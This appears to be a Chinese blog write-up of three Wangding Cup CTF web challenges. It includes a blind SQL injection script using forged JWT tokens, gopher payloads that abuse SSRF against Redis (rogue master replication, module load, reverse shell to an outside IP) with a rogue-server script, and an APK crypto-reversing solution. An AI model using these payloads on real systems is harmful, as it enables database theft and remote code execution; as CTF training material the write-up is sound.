网鼎杯玄武组部分web题解shell合天智汇的博客-

js_on

顺手输入一个 admin admin，看到下面的信息

 欢迎admin 这里是你的信息：key:xRt*YMDqyCCxYxi9a@LgcGpnmM2X8i&6 

第一步想的是二次注入，但是一直被嘲讽，出题人素质有待加强，然后重新捋一遍思路，是不是命令注入，稍微测试了一下，感觉不对路，重新回过头，提示的这个key很明显是 jwt 的key，然后猜测二次注入的部分是不是在token部分，结果二次注入没发现，倒是发现在 token处存在布尔注入，如果为真 news会返回你输入的内容，如果为假，则返回 ？？？no message

脚本

 # coding=utf-8   import jwt import requests import re requests.packages.urllib3.disable_warnings() key = "xRt*YMDqyCCxYxi9a@LgcGpnmM2X8i&6" url = "https://84f801d8da46417d9747f9bb2f8187b963c126676ca644fd.cloudgame1.ichunqiu.com/index.php" proxies = {"http":"https://127.0.0.1:8080","https":"https://127.0.0.1:8080"} # info = jwt.decode("eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJuZXdzIjoia2V5OnhSdCpZTURxeUNDeFl4aTlhQExnY0dwbm1NMlg4aSY2In0.EpNdctJ5Knu4ZkRcatsyMOxas1QgomB0Z49qb7_eoVg",key,algorithms=['HS256']) # if info:     # print(info)   # payloadTmpl = "i'/**/or/**/ascii(mid(database(),{},1))>{}#" # payloadTmpl = "i'/**/or/**/ascii(mid((s<a>elect/**/g<a>roup_con<a>cat(sc<a>hema_name)/**/fr<a>om/**/info<a>rmation_sc<a>hema.S<a>CHEMATA),{},1))>{}#" # payloadTmpl = "i'/**/or/**/ascii(mid((s<a>elect/**/g<a>roup_con<a>cat(ta<a>ble_name)/**/fr<a>om/**/info<a>rmation_sc<a>hema.t<a>ables/**/wher<a>e/**/ta<a>ble_s<a>chema=dat<a>abase()),{},1))>{}#" # payloadTmpl = "i'/**/or/**/ascii(mid((s<a>elect/**/g<a>roup_con<a>cat(col<a>umn_name)/**/fr<a>om/**/info<a>rmation_sc<a>hema.c<a>olumns/**/wher<a>e/**/ta<a>ble_s<a>chema=dat<a>abase()),{},1))>{}#" payloadTmpl = "i'/**/or/**/ascii(mid((se<a>lect/**/lo<a>ad_fi<a>le('/fl<a>ag')),{},1))>{}#"   def half_interval():     result = ""     for i in range(1,45):         min = 32         max = 127         while abs(max-min) > 1:             mid = (min + max)//2              payload = payloadTmpl.format(i,mid)             jwttoken = {                 "user": payload,                 "news": "success"             }             payload = jwt.encode(jwttoken, key, algorithm='HS256').decode("ascii")             # print(payload)             cookies = dict(token=str(payload))             res = requests.get(url,cookies=cookies,proxies=proxies)             if re.findall("success", res.text) != []:                 min = mid             else:                 max = mid         result += chr(max)         print(result)   if __name__ == "__main__":     half_interval()     # payload = payloadTmpl.format(1,32)     # jwttoken = {     #     "user": payload,     #     "news": "success"     # }     # print(jwttoken)     # payload = jwt.encode(jwttoken, key, algorithm='HS256').decode("ascii")     # print(payload)     # cookies = dict(token=str(payload))     # res = requests.get(url,cookies=cookies,proxies=proxies)     # res.encoding='utf-8'     # print(res.text) 

ssrfme

刚拿到题目，想起来跟 SECCON 的题目很像，直接DNS重绑定绕过第一步

获取到hint的源码，提示ssrf 打 redis，直接写contrab在save的时候提示没权限，写shell不知道路径

一直主从复制也没成功

很坑，没权限

后来检查一下发现目录不对，转移到有权限的/tmp 下面

 gopher://ctf.m0te.top:6379/_auth%2520welcometowangdingbeissrfme6379%250d%250aconfig%2520set%2520dir%2520/tmp/%250d%250aquit 

然后重复主从的步骤，在自己的VPS上起好了 rogue 服务器

 gopher://ctf.m0te.top:6379/_auth%2520welcometowangdingbeissrfme6379%250d%250aconfig%2520set%2520dbfilename%2520exp.so%250d%250aslaveof%252039.107.68.253%252060001%250d%250aquit 

服务器监听

 gopher://ctf.m0te.top:6379/_auth%2520welcometowangdingbeissrfme6379%250d%250amodule%2520load%2520/tmp/exp.so%250d%250asystem.rev%252039.107.68.253%252060003%250d%250aquit 

rogue.py

 import socket import time   CRLF="rn" payload=open("exp.so","rb").read() exp_filename="exp.so"   def redis_format(arr):     global CRLF     global payload     redis_arr=arr.split(" ")     cmd=""     cmd+="*"+str(len(redis_arr))     for x in redis_arr:         cmd+=CRLF+"$"+str(len(x))+CRLF+x     cmd+=CRLF     return cmd   def redis_connect(rhost,rport):     sock=socket.socket()     sock.connect((rhost,rport))     return sock   def send(sock,cmd):     sock.send(redis_format(cmd))     print(sock.recv(1024).decode("utf-8"))   def interact_shell(sock):     flag=True     try:         while flag:             shell=raw_input("33[1;32;40m[*]33[0m ")             shell=shell.replace(" ","${IFS}")             if shell=="exit" or shell=="quit":                 flag=False             else:                 send(sock,"system.exec {}".format(shell))     except KeyboardInterrupt:         return     def RogueServer(lport):     global CRLF     global payload     flag=True     result=""     sock=socket.socket()     sock.bind(("0.0.0.0",lport))     sock.listen(10)     clientSock, address = sock.accept()     while flag:         data = clientSock.recv(1024)         if "PING" in data:             result="+PONG"+CRLF             clientSock.send(result)             flag=True         elif "REPLCONF" in data:             result="+OK"+CRLF             clientSock.send(result)             flag=True         elif "PSYNC" in data or "SYNC" in data:             result = "+FULLRESYNC " + "a" * 40 + " 1" + CRLF             result += "$" + str(len(payload)) + CRLF             result = result.encode()             result += payload             result += CRLF             clientSock.send(result)             flag=False   if __name__=="__main__":     lhost="xxx.xxx.xxx.xxx"     lport=60001   

java

用 jadx 对 java.apk 反汇编

主程序逻辑并不复杂，正常的输入，以及将输入进行计算后比对

先对用户输入进行 AES 加密 ，Key 为 aes_check_key!@#，然后进行两次异或，最后 base64 编码

与 VsBDJCvuhD65/+sL+Hlf587nWuIa2MPcqZaq7GMVWI0Vx8l9R42PXWbhCRftoFB3进行比较

所以 crack 过程也很简单，逆回来就得到输入，但是中间卡在密钥并不是直接给的密钥，还对密钥里 ‘e’ 和 ‘o’进行了替换，最终密钥为 aos_chock_koy!@#，逆回去得到flag

实验推荐

SSRF漏洞进阶实践-攻击内网Redis

https://hetianlab.com/expc.do?ec=ECID9f92-ff93-4a94-a821-f0b968ef4985